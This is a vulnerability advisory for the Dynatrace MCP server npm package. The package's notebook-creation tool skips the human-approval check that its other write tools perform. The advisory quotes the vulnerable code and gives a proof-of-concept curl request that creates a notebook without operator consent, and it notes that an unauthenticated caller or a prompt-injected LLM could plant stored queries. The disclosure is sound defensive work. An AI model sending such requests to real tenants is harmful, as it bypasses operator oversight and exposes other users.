PT-2026-69225 · Npm · @Dynatrace-Oss/Dynatrace-Mcp-Server

Published

2026-07-29

·

Updated

2026-07-29

CVSS v3.1

3.7

Low

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

A missing human-approval gate on the create dynatrace notebook tool allows a caller to create persistent tenant-visible documents containing arbitrary content (including embedded DQL that other users execute when opening the notebook) without operator consent.

Details

dynatrace-mcp-server registers six write tools: send slack message, send email, send event, create workflow for notification, make workflow public, and create dynatrace notebook. Five of these call requestHumanApproval() before executing the side-effect, which elicits the operator's explicit consent through the MCP elicitation protocol. The CHANGELOG explicitly states these approval gates were added "to ensure user consent and prevent unintended actions."
create dynatrace notebook does not call requestHumanApproval(). The tool was introduced in a separate release from the approval-gate retrofit and was left ungated. As a result, a caller can create persistent, tenant-visible Dynatrace notebooks containing arbitrary content with no operator confirmation. Notebooks can include embedded DQL queries that later execute under the permissions of any tenant user who opens them.
The vulnerable code is in src/index.ts, lines 1563-1601:
typescript
tool(
 'create dynatrace notebook',
 'Create Dynatrace Notebook',
 'Create a new notebook in the Dynatrace platform ...',
 {
  name: z.string().describe(/* ... */),
  description: z.string().optional().describe(/* ... */),
  content: z.array(z.object({
   type: z.enum(['dql', 'markdown']),
   text: z.string(),
  })).describe(/* ... */),
 },
 {
  readOnlyHint: false,
 },
 async ({ name, content, description }) => {
  const dtClient = await createAuthenticatedHttpClient(allRequiredScopes);
  const data = await createDynatraceNotebook(dtClient, name, content, description);
  // No requestHumanApproval() call.
  // No destructiveHint annotation.
  // Scopes requested are allRequiredScopes (the broadest possible set)
  // even though only document:documents:write is needed.

  return data
   ? `Document created successfully: ${dtEnvironment}/ui/apps/dynatrace.notebooks/notebook/${data.id}`
   : 'document creation failed';
 },
);
By comparison, every other write tool calls requestHumanApproval() as its first action:
  • send email (line 1274): const approved = await requestHumanApproval(...);
  • send slack message (line 652): const approved = await requestHumanApproval(...);
  • send event (line 1367): const approved = await requestHumanApproval(...);
  • create workflow for notification (line 1069): const approved = await requestHumanApproval(...);
  • make workflow public (line 1118): const approved = await requestHumanApproval(...);

PoC

Tested end-to-end against a real Dynatrace tenant. The MCP server was started in HTTP mode with the operator's Platform Token:
bash
export DT ENVIRONMENT=https://<tenant>.apps.dynatrace.com
export DT PLATFORM TOKEN=dt0s16....
npx -y @dynatrace-oss/dynatrace-mcp-server@1.8.5 --http --port 3000
A single unauthenticated POST from a process with no Dynatrace credentials of its own:
bash
curl -sS http://127.0.0.1:3000/ 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 -d '{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
   "name": "create dynatrace notebook",
   "arguments": {
    "name": "Unapproved notebook",
    "description": "Created without operator approval.",
    "content": [
     {"type": "markdown", "text": "# This notebook was created without approval"},
     {"type": "dql",   "text": "fetch logs | limit 10"}
    ]
   }
  }
 }'
The response:
event: message
data: {"result":{"content":[{"type":"text","text":"Document created successfully:
    https://<tenant>.apps.dynatrace.com/ui/apps/dynatrace.notebooks/notebook/<uuid>"}]},
    "jsonrpc":"2.0","id":1}
The notebook is visible in the operator's Notebooks app within seconds. No elicitation prompt was sent to any operator client.
By contrast, the same harness invoking send email or send slack message returns:
"Operation cancelled: Human approval was not granted for sending this email."
The gate logic exists and is wired up for all other write tools - it is simply missing on create dynatrace notebook.

Impact

  • A caller (an unauthenticated network attacker over the HTTP transport when authentication is missing, or a prompt-injected LLM in stdio mode) can silently create persistent tenant-visible documents.
  • The notebook content is attacker-controlled. Embedded DQL queries execute under the permissions of any tenant user who later opens the notebook - a stored-DQL pattern that crosses identity boundaries within the tenant.

Fix

Missing Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-862

Related Identifiers

GHSA-PC2W-4MQ8-32QW

Affected Products

@Dynatrace-Oss/Dynatrace-Mcp-Server